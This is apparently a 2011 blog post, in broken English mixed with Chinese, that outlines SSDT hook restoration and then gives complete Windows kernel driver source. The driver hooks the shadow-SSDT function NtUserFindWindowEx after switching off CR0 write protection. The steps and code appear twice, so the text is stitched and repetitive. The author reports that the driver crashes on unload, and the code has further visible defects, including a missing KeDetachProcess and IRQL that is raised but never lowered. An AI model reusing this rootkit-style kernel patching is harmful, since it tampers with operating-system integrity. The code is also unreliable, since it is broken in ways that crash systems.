When memory of computer than 512MB , Windows open PAE with ntkrnlpa.exe, Otherwise use ntoskrnl.exe, There isn't consider multi-core processor.
So we detect PAE whether open to confirm file name of kernel.
When 5 bit of cr4 is set to explain open PAE.
2. When map file of kernel , for example memoryg, Base address is krnlImgBase.
3. ZwQuerySystemInformation transmited 11 number parameter, Get structure array SYSTEM_MODULE_INFORMATION, Traversal array to get krnlBase of system kernel on memory base address .
4.Depend PE format to map to memory file, Get original SSDT.
The way: First get SSDT table address by system export, shave base address to get RVA of SSDT.
Seach section table of kernel file's memory map.
Seach where section is on rva of ssdt.
SSDT of memory mapping file = SSDT RVA 所在节 RVA + 所在节 RawOffset + krnlImgBase
5.Contrast original SSDT and current SSDT, Different to replace.
A question of relocate is must noticed on here.
code:
Come here get original path of dispatch function.
5. Part get with ObReferenceObjectByName,
L"\\FileSystem\\Ntfs"
L"\\FileSystem\\Fastfat"
Correspond to DriverObject.
Contrast address of DriverObject dispatch function and address of read pe file , If different to repair.
--------------------------------------------------------------------------------
SSDT HOOK
1.Identify ntoskrnl.exe or ntkrnlpa.exe is used by kernel file of driver .
When memory of computer than 512MB , Windows open PAE with ntkrnlpa.exe, Otherwise use ntoskrnl.exe, There isn't consider multi-core processor.
So we detect PAE whether open to confirm file name of kernel.
When 5 bit of cr4 is set to explain open PAE.
2. When map file of kernel , for example memoryg, Base address is krnlImgBase.
3. ZwQuerySystemInformation transmited 11 number parameter, Get structure array SYSTEM_MODULE_INFORMATION, Traversal array to get krnlBase of system kernel on memory base address .
4.Depend PE format to map to memory file, Get original SSDT.
The way: First get SSDT table address by system export, shave base address to get RVA of SSDT.
Seach section table of kernel file's memory map.
Seach where section is on rva of ssdt.
SSDT of memory mapping file = SSDT RVA 所在节 RVA + 所在节 RawOffset + krnlImgBase
5.Contrast original SSDT and current SSDT, Different to replace.
A question of relocate is must noticed on here.
code:
Sunday, August 28, 2011
Hook Specials 21 : Reappear SSDT-HOOK shadow to compile succeed
Author:ASMHacker
Because need to hook a api, Write the article.
The way is usual used on Kingsoft and AVP about Hook shadow ssdt, The code passed compile ...... But some people do wrong that use it, So it cut something. Study ssdt or kernel can use it. I only cut a little .
//#include "ntddk.h"
//function and global varable of driver is default non-page.
#define HWND ULONG
#define DWORD ULONG
#define WORD USHORT
#define BYTE UCHAR
#define UINT ULONG
#define ProcessNameOffset 0x174
//----------------------------------------------------------------------------------------------------------
#define NT_DEVICE_NAME L"\\Device\\hook" // device name and symbolic link name
#define DOS_DEVICE_NAME L"\\DosDevices\\hook"
#define ObjectNameInformation 1
#define BASE_PROCESS_PEB_OFFSET 0x01B0
#define BASE_PEB_PROCESS_PARAMETER_OFFSET 0x0010
#define BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME 0x003C
//----------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SYSTEM_SERVICE_TABLE
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}
SYSTEM_SERVICE_TABLE,
*PSYSTEM_SERVICE_TABLE,
**PPSYSTEM_SERVICE_TABLE;
#pragma pack()
//-----------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SERVICE_DESCRIPTOR_TABLE_
{
SYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe ( native api )
SYSTEM_SERVICE_TABLE win32k; // win32k.sys (gdi/user support)
SYSTEM_SERVICE_TABLE Table3; // not used
SYSTEM_SERVICE_TABLE Table4; // not used
}
SYSTEM_DESCRIPTOR_TABLE,
*PSYSTEM_DESCRIPTOR_TABLE,
**PPSYSTEM_DESCRIPTOR_TABLE;
#pragma pack()
//------------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SRVTABLE {
PVOID *ServiceTable;
ULONG LowCall;
ULONG HiCall;
PVOID *ArgTable;
} SRVTABLE, *PSRVTABLE;
#pragma pack()
//--------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_INFORMATION Information[1];
}SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
#pragma pack()
//-------------------------------------------------------------------------------------------------------------------
NTKERNELAPI BOOLEAN KeAddSystemServiceTable (PULONG_PTR Base, PULONG Count OPTIONAL, ULONG Limit, PUCHAR Number, ULONG Index) ;
//------------------------------------------------------------------------------------------------------------
//////函数申明
VOID DrvUnload(PDRIVER_OBJECT);
NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING);
NTSTATUS IoDispatch(PDEVICE_OBJECT, PIRP);
HANDLE GetCsrPid();
PSYSTEM_DESCRIPTOR_TABLE FindShadowTable(void);
//------NtUserFindWindowEx------------------------------------------------------------------------------------------------------------------------------------------------------
ULONG NewNtUserFindWindowEx(HWND hwndParent,HWND hwndChild,PUNICODE_STRING pstrClassName OPTIONAL,PUNICODE_STRING pstrWindowName OPTIONAL,DWORD dwType);
typedef ULONG (*NTUSERFINDWINDOWEX)(HWND hwndParent, HWND hwndChild, PUNICODE_STRING pstrClassName OPTIONAL, PUNICODE_STRING pstrWindowName OPTIONAL, DWORD dwType);
//NTUSERFINDWINDOWEX OldNtUserFindWindowEx=(NTUSERFINDWINDOWEX *)ExAllocatePool(NonPagedPool, sizeof(NTUSERFINDWINDOWEX));
NTUSERFINDWINDOWEX OldNtUserFindWindowEx;
//--------------------------------------------------------------------------------------------------
//Global variable
PSYSTEM_DESCRIPTOR_TABLE ShadowTable = NULL;
//-----------------------------------------------------------------------------------------------------------
extern PSRVTABLE KeServiceDescriptorTable;
//__declspec(dllimport) KeAddSystemServiceTable(LPSSTAT,BOOL,DWORD,LPSSTPT,DWORD);
//-----------------------------------------------------------------------------------------------------------
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath)
{
KIRQL OldIrql;
PDEVICE_OBJECT pDeviceObject = NULL;
NTSTATUS ntStatus;
UNICODE_STRING uniNtNameString, uniWin32NameString;
int i;
PEPROCESS EProcess;
RtlInitUnicodeString( &uniNtNameString, NT_DEVICE_NAME );
ntStatus = IoCreateDevice (
pDriverObject,
0, // DeviceExtensionSize
&uniNtNameString,
FILE_DEVICE_UNKNOWN, //
0, // No standard device characteristics
FALSE, // not exclusive device
&pDeviceObject
);
if( !NT_SUCCESS(ntStatus) )
{
return ntStatus;
}
// create dispatch points for create/open, close, unload
pDriverObject->DriverUnload = DrvUnload;
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
ntStatus = IoCreateSymbolicLink( &uniWin32NameString, &uniNtNameString );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( pDriverObject->DeviceObject );
}
for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
pDriverObject->MajorFunction[i] = IoDispatch;
KeEnterCriticalRegion();
ShadowTable = (PSYSTEM_DESCRIPTOR_TABLE)FindShadowTable();
KeLeaveCriticalRegion();
if(ShadowTable==0)
{
DbgPrint("Can't find ShadowTable");
return STATUS_UNSUCCESSFUL;
}
else
{
ntStatus = PsLookupProcessByProcessId(GetCsrPid(), &EProcess);
if (!NT_SUCCESS( ntStatus ))
{
DbgPrint("PsLookupProcessByProcessId()\n");
return ntStatus;
}
KeAttachProcess(EProcess);
DbgPrint("ntoskrnl Address:\t 0x%08x\n", ShadowTable->ntoskrnl);
DbgPrint("win32k Address:\t 0x%08x\n", ShadowTable->win32k);
DbgPrint("Table3 Address:\t 0x%08x\n", ShadowTable->Table3);
DbgPrint("Table4 Address:\t 0x%08x\n\r\n", ShadowTable->Table4);
DbgPrint("NtUserFindWindowEx Address: 0x%08x\n", ShadowTable->win32k.ServiceTableBase[0x17a]);
//Lifting IRQ prevent break
if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
//Disable memory protectiong mechanism
__asm
{
push eax
mov eax,CR0
and eax,not 0x10000
mov CR0,eax
pop eax
cli
}
///
///hook something
///
OldNtUserFindWindowEx=(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a];
(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a]=NewNtUserFindWindowEx;
//Start using memory protection mechanism
__asm
{
sti
push eax
mov eax,CR0
xor eax,0x10000
mov CR0,eax
pop eax
}
KeLowerIrql(OldIrql);
}
return STATUS_SUCCESS;
}
NTSTATUS IoDispatch(PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
NTSTATUS iStatus = STATUS_SUCCESS;
pIrp->IoStatus.Status = iStatus;
pIrp->IoStatus.Information = 0;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return iStatus;
}
VOID DrvUnload(PDRIVER_OBJECT pDriverObject)
{
// KIRQL OldIrql;
PDEVICE_OBJECT pDeviceObject;
UNICODE_STRING uniWin32NameString;
pDeviceObject = pDriverObject->DeviceObject;
// if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
// KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
//Disable memory protection mechanism
__asm
{
push eax
mov eax,CR0
and eax,not 0x10000
mov CR0,eax
pop eax
cli
}
///
///在这里做一些hook
(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a]=OldNtUserFindWindowEx;
//Use Interlocking to change value of pointer, safer?
//InterlockedExchangePointer(ShadowTable->win32k.ServiceTableBase[0x17a],&OldNtUserFindWindowEx);
//Start using memory protect mechanism
__asm
{
sti
push eax
mov eax,CR0
xor eax,0x10000
mov CR0,eax
pop eax
}
// KeLowerIrql(OldIrql);
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
IoDeleteSymbolicLink( &uniWin32NameString );
IoDeleteDevice( pDriverObject->DeviceObject );
}
//--------------------------------------------------------------------------------------------------
PSYSTEM_DESCRIPTOR_TABLE FindShadowTable(void)
{
unsigned char * pCheckArea = (unsigned char * ) KeAddSystemServiceTable;
int i;
PSRVTABLE pSrvTable = NULL;
for (i=0; i<100; i++)
{
__try
{
pSrvTable = *(PSRVTABLE*)pCheckArea;
if (
!MmIsAddressValid(pSrvTable) ||
(pSrvTable == KeServiceDescriptorTable) ||
(memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)
)
{
pCheckArea++;
pSrvTable = NULL;
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
pSrvTable = NULL;
}
if (pSrvTable)
break;
}
if (pSrvTable == NULL)
{
pSrvTable = (PSRVTABLE)((char*)KeServiceDescriptorTable-0x230);
if (MmIsAddressValid(pSrvTable))
{
__try
{
if (memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)
pSrvTable = NULL;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
pSrvTable = NULL;
}
}
else
{
pSrvTable = NULL;
}
}
return (PSYSTEM_DESCRIPTOR_TABLE)pSrvTable;
}
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
NTSTATUS St;
do
{
mPtr = ExAllocatePool(PagedPool, mSize);
memset(mPtr, 0, mSize);
if (mPtr)
{
St = ZwQuerySystemInformation(ATableType, mPtr, mSize, NULL);
} else return NULL;
if (St == STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePool(mPtr);
mSize = mSize * 2;
}
} while (St == STATUS_INFO_LENGTH_MISMATCH);
if (St == STATUS_SUCCESS) return mPtr;
ExFreePool(mPtr);
return NULL;
}
HANDLE GetCsrPid()
{
HANDLE Process, hObject;
HANDLE CsrId = (HANDLE)0;
OBJECT_ATTRIBUTES obj;
CLIENT_ID cid;
UCHAR Buff[0x100];
POBJECT_NAME_INFORMATION ObjName = (PVOID)&Buff;
PSYSTEM_HANDLE_INFORMATION_EX Handles;
ULONG r;
Handles = GetInfoTable(SystemHandleInformation);
if (!Handles) return CsrId;
for (r = 0; r < Handles->NumberOfHandles; r++)
{
if (Handles->Information[r].ObjectTypeNumber == 21) //Port object
{
InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = (HANDLE)Handles->Information[r].ProcessId;
cid.UniqueThread = 0;
if (NT_SUCCESS(NtOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid)))
{
if (NT_SUCCESS(ZwDuplicateObject(Process,
(HANDLE)Handles->Information[r].Handle,
NtCurrentProcess(),
&hObject,
0, 0, DUPLICATE_SAME_ACCESS)))
{
if (NT_SUCCESS(ZwQueryObject(hObject,
ObjectNameInformation,
ObjName,
0x100, NULL)))
{
if (ObjName->Name.Buffer &&
!wcsncmp(L"\\Windows\\ApiPort", ObjName->Name.Buffer, 20))
{
CsrId = (HANDLE)Handles->Information[r].ProcessId;
}
}
ZwClose(hObject);
}
ZwClose(Process);
}
}
}
ExFreePool(Handles);
return CsrId;
}
PCWSTR GetProcessFullName()
{
DWORD dwAddress;
if(KeGetCurrentIrql() != PASSIVE_LEVEL)
return NULL;
dwAddress = (DWORD)PsGetCurrentProcess();
if(dwAddress == 0 || dwAddress == 0xFFFFFFFF)
return NULL;
dwAddress += BASE_PROCESS_PEB_OFFSET;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
dwAddress += BASE_PEB_PROCESS_PARAMETER_OFFSET;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
dwAddress += BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
return (PCWSTR)dwAddress;
}
PVOID PsGetProcessSectionBaseAddress(PEPROCESS Process);
//---------------------------------------------------------------------------------------------------
ULONG NewNtUserFindWindowEx(HWND hwndParent, HWND hwndChild, PUNICODE_STRING pstrClassName OPTIONAL, PUNICODE_STRING pstrWindowName OPTIONAL, DWORD dwType)
{
KIRQL OldIrql;
ULONG result;
if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
// UNICODE_STRING filtter;
// PUNICODE_STRING p=&filtter;
// RtlInitUnicodeString( &filtter, L"GAMECLIENT");
DbgPrint("Window title:\t%ws",pstrWindowName->Buffer);
DbgPrint("Window class:\t%ws",pstrClassName->Buffer);
DbgPrint( "Caller path\r\n%ws",GetProcessFullName());
DbgPrint( "---------------------------------------------------------");
result=OldNtUserFindWindowEx(hwndParent,hwndChild,pstrClassName,pstrWindowName,dwType);
return result;
}
//C:\mydrivers\ShadowSSDT_Hook\objchk\i386\ShadowSSDT.sys
I don't know why this, each hook succeed. But unload to show BSOD...
Error code INVALIDPROCESSATTACH_ ATTEMPT
I thought for a long time, no way out solve final...我的小笨脑想了很久,最终还是没办法解决...I guess KeAttachProcess behind no use KeDetachProcess, hope past master help me.
//function and global varable of driver is default non-page.
#define HWND ULONG
#define DWORD ULONG
#define WORD USHORT
#define BYTE UCHAR
#define UINT ULONG
#define ProcessNameOffset 0x174
//----------------------------------------------------------------------------------------------------------
#define NT_DEVICE_NAME L"\\Device\\hook" // device name and symbolic link name
#define DOS_DEVICE_NAME L"\\DosDevices\\hook"
#define ObjectNameInformation 1
#define BASE_PROCESS_PEB_OFFSET 0x01B0
#define BASE_PEB_PROCESS_PARAMETER_OFFSET 0x0010
#define BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME 0x003C
//----------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SYSTEM_SERVICE_TABLE
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}
SYSTEM_SERVICE_TABLE,
*PSYSTEM_SERVICE_TABLE,
**PPSYSTEM_SERVICE_TABLE;
#pragma pack()
//-----------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SERVICE_DESCRIPTOR_TABLE_
{
SYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe ( native api )
SYSTEM_SERVICE_TABLE win32k; // win32k.sys (gdi/user support)
SYSTEM_SERVICE_TABLE Table3; // not used
SYSTEM_SERVICE_TABLE Table4; // not used
}
SYSTEM_DESCRIPTOR_TABLE,
*PSYSTEM_DESCRIPTOR_TABLE,
**PPSYSTEM_DESCRIPTOR_TABLE;
#pragma pack()
//------------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SRVTABLE {
PVOID *ServiceTable;
ULONG LowCall;
ULONG HiCall;
PVOID *ArgTable;
} SRVTABLE, *PSRVTABLE;
#pragma pack()
//--------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_INFORMATION Information[1];
}SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
#pragma pack()
//-------------------------------------------------------------------------------------------------------------------
NTKERNELAPI BOOLEAN KeAddSystemServiceTable (PULONG_PTR Base, PULONG Count OPTIONAL, ULONG Limit, PUCHAR Number, ULONG Index) ;
//------------------------------------------------------------------------------------------------------------
//////函数申明
VOID DrvUnload(PDRIVER_OBJECT);
NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING);
NTSTATUS IoDispatch(PDEVICE_OBJECT, PIRP);
HANDLE GetCsrPid();
PSYSTEM_DESCRIPTOR_TABLE FindShadowTable(void);
//------NtUserFindWindowEx------------------------------------------------------------------------------------------------------------------------------------------------------
ULONG NewNtUserFindWindowEx(HWND hwndParent,HWND hwndChild,PUNICODE_STRING pstrClassName OPTIONAL,PUNICODE_STRING pstrWindowName OPTIONAL,DWORD dwType);
typedef ULONG (*NTUSERFINDWINDOWEX)(HWND hwndParent, HWND hwndChild, PUNICODE_STRING pstrClassName OPTIONAL, PUNICODE_STRING pstrWindowName OPTIONAL, DWORD dwType);
//NTUSERFINDWINDOWEX OldNtUserFindWindowEx=(NTUSERFINDWINDOWEX *)ExAllocatePool(NonPagedPool, sizeof(NTUSERFINDWINDOWEX));
NTUSERFINDWINDOWEX OldNtUserFindWindowEx;
//--------------------------------------------------------------------------------------------------
//Global variable
PSYSTEM_DESCRIPTOR_TABLE ShadowTable = NULL;
//-----------------------------------------------------------------------------------------------------------
extern PSRVTABLE KeServiceDescriptorTable;
//__declspec(dllimport) KeAddSystemServiceTable(LPSSTAT,BOOL,DWORD,LPSSTPT,DWORD);
//-----------------------------------------------------------------------------------------------------------
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath)
{
KIRQL OldIrql;
PDEVICE_OBJECT pDeviceObject = NULL;
NTSTATUS ntStatus;
UNICODE_STRING uniNtNameString, uniWin32NameString;
int i;
PEPROCESS EProcess;
RtlInitUnicodeString( &uniNtNameString, NT_DEVICE_NAME );
ntStatus = IoCreateDevice (
pDriverObject,
0, // DeviceExtensionSize
&uniNtNameString,
FILE_DEVICE_UNKNOWN, //
0, // No standard device characteristics
FALSE, // not exclusive device
&pDeviceObject
);
if( !NT_SUCCESS(ntStatus) )
{
return ntStatus;
}
// create dispatch points for create/open, close, unload
pDriverObject->DriverUnload = DrvUnload;
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
ntStatus = IoCreateSymbolicLink( &uniWin32NameString, &uniNtNameString );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( pDriverObject->DeviceObject );
}
for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
pDriverObject->MajorFunction[i] = IoDispatch;
KeEnterCriticalRegion();
ShadowTable = (PSYSTEM_DESCRIPTOR_TABLE)FindShadowTable();
KeLeaveCriticalRegion();
if(ShadowTable==0)
{
DbgPrint("Can't find ShadowTable");
return STATUS_UNSUCCESSFUL;
}
else
{
ntStatus = PsLookupProcessByProcessId(GetCsrPid(), &EProcess);
if (!NT_SUCCESS( ntStatus ))
{
DbgPrint("PsLookupProcessByProcessId()\n");
return ntStatus;
}
KeAttachProcess(EProcess);
DbgPrint("ntoskrnl Address:\t 0x%08x\n", ShadowTable->ntoskrnl);
DbgPrint("win32k Address:\t 0x%08x\n", ShadowTable->win32k);
DbgPrint("Table3 Address:\t 0x%08x\n", ShadowTable->Table3);
DbgPrint("Table4 Address:\t 0x%08x\n\r\n", ShadowTable->Table4);
DbgPrint("NtUserFindWindowEx Address: 0x%08x\n", ShadowTable->win32k.ServiceTableBase[0x17a]);
//Lifting IRQ prevent break
if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
//Disable memory protectiong mechanism
__asm
{
push eax
mov eax,CR0
and eax,not 0x10000
mov CR0,eax
pop eax
cli
}
///
///hook something
///
OldNtUserFindWindowEx=(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a];
(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a]=NewNtUserFindWindowEx;
//Start using memory protection mechanism
__asm
{
sti
push eax
mov eax,CR0
xor eax,0x10000
mov CR0,eax
pop eax
}
KeLowerIrql(OldIrql);
}
return STATUS_SUCCESS;
}
NTSTATUS IoDispatch(PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
NTSTATUS iStatus = STATUS_SUCCESS;
pIrp->IoStatus.Status = iStatus;
pIrp->IoStatus.Information = 0;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return iStatus;
}
VOID DrvUnload(PDRIVER_OBJECT pDriverObject)
{
// KIRQL OldIrql;
PDEVICE_OBJECT pDeviceObject;
UNICODE_STRING uniWin32NameString;
pDeviceObject = pDriverObject->DeviceObject;
// if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
// KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
//Disable memory protection mechanism
__asm
{
push eax
mov eax,CR0
and eax,not 0x10000
mov CR0,eax
pop eax
cli
}
///
///在这里做一些hook
(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a]=OldNtUserFindWindowEx;
//Use Interlocking to change value of pointer, safer?
//InterlockedExchangePointer(ShadowTable->win32k.ServiceTableBase[0x17a],&OldNtUserFindWindowEx);
//Start using memory protect mechanism
__asm
{
sti
push eax
mov eax,CR0
xor eax,0x10000
mov CR0,eax
pop eax
}
// KeLowerIrql(OldIrql);
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
IoDeleteSymbolicLink( &uniWin32NameString );
IoDeleteDevice( pDriverObject->DeviceObject );
}
//--------------------------------------------------------------------------------------------------
PSYSTEM_DESCRIPTOR_TABLE FindShadowTable(void)
{
unsigned char * pCheckArea = (unsigned char * ) KeAddSystemServiceTable;
int i;
PSRVTABLE pSrvTable = NULL;
for (i=0; i<100; i++)
{
__try
{
pSrvTable = *(PSRVTABLE*)pCheckArea;
if (
!MmIsAddressValid(pSrvTable) ||
(pSrvTable == KeServiceDescriptorTable) ||
(memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)
)
{
pCheckArea++;
pSrvTable = NULL;
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
pSrvTable = NULL;
}
if (pSrvTable)
break;
}
if (pSrvTable == NULL)
{
pSrvTable = (PSRVTABLE)((char*)KeServiceDescriptorTable-0x230);
if (MmIsAddressValid(pSrvTable))
{
__try
{
if (memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)
pSrvTable = NULL;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
pSrvTable = NULL;
}
}
else
{
pSrvTable = NULL;
}
}
return (PSYSTEM_DESCRIPTOR_TABLE)pSrvTable;
}
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
NTSTATUS St;
do
{
mPtr = ExAllocatePool(PagedPool, mSize);
memset(mPtr, 0, mSize);
if (mPtr)
{
St = ZwQuerySystemInformation(ATableType, mPtr, mSize, NULL);
} else return NULL;
if (St == STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePool(mPtr);
mSize = mSize * 2;
}
} while (St == STATUS_INFO_LENGTH_MISMATCH);
if (St == STATUS_SUCCESS) return mPtr;
ExFreePool(mPtr);
return NULL;
}
HANDLE GetCsrPid()
{
HANDLE Process, hObject;
HANDLE CsrId = (HANDLE)0;
OBJECT_ATTRIBUTES obj;
CLIENT_ID cid;
UCHAR Buff[0x100];
POBJECT_NAME_INFORMATION ObjName = (PVOID)&Buff;
PSYSTEM_HANDLE_INFORMATION_EX Handles;
ULONG r;
Handles = GetInfoTable(SystemHandleInformation);
if (!Handles) return CsrId;
for (r = 0; r < Handles->NumberOfHandles; r++)
{
if (Handles->Information[r].ObjectTypeNumber == 21) //Port object
{
InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = (HANDLE)Handles->Information[r].ProcessId;
cid.UniqueThread = 0;
if (NT_SUCCESS(NtOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid)))
{
if (NT_SUCCESS(ZwDuplicateObject(Process,
(HANDLE)Handles->Information[r].Handle,
NtCurrentProcess(),
&hObject,
0, 0, DUPLICATE_SAME_ACCESS)))
{
if (NT_SUCCESS(ZwQueryObject(hObject,
ObjectNameInformation,
ObjName,
0x100, NULL)))
{
if (ObjName->Name.Buffer &&
!wcsncmp(L"\\Windows\\ApiPort", ObjName->Name.Buffer, 20))
{
CsrId = (HANDLE)Handles->Information[r].ProcessId;
}
}
ZwClose(hObject);
}
ZwClose(Process);
}
}
}
ExFreePool(Handles);
return CsrId;
}
PCWSTR GetProcessFullName()
{
DWORD dwAddress;
if(KeGetCurrentIrql() != PASSIVE_LEVEL)
return NULL;
dwAddress = (DWORD)PsGetCurrentProcess();
if(dwAddress == 0 || dwAddress == 0xFFFFFFFF)
return NULL;
dwAddress += BASE_PROCESS_PEB_OFFSET;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
dwAddress += BASE_PEB_PROCESS_PARAMETER_OFFSET;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
dwAddress += BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
return (PCWSTR)dwAddress;
}
PVOID PsGetProcessSectionBaseAddress(PEPROCESS Process);
//---------------------------------------------------------------------------------------------------
ULONG NewNtUserFindWindowEx(HWND hwndParent, HWND hwndChild, PUNICODE_STRING pstrClassName OPTIONAL, PUNICODE_STRING pstrWindowName OPTIONAL, DWORD dwType)
{
KIRQL OldIrql;
ULONG result;
if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
// UNICODE_STRING filtter;
// PUNICODE_STRING p=&filtter;
// RtlInitUnicodeString( &filtter, L"GAMECLIENT");
DbgPrint("Window title:\t%ws",pstrWindowName->Buffer);
DbgPrint("Window class:\t%ws",pstrClassName->Buffer);
DbgPrint( "Caller path\r\n%ws",GetProcessFullName());
DbgPrint( "---------------------------------------------------------");
result=OldNtUserFindWindowEx(hwndParent,hwndChild,pstrClassName,pstrWindowName,dwType);
return result;
}
//C:\mydrivers\ShadowSSDT_Hook\objchk\i386\ShadowSSDT.sys
I don't know why this, each hook succeed. But unload to show BSOD...
Error code INVALIDPROCESSATTACH_ ATTEMPT
I thought for a long time, no way out solve final...我的小笨脑想了很久,最终还是没办法解决...I guess KeAttachProcess behind no use KeDetachProcess, hope past master help me.
Subscribe to:
Posts (Atom)






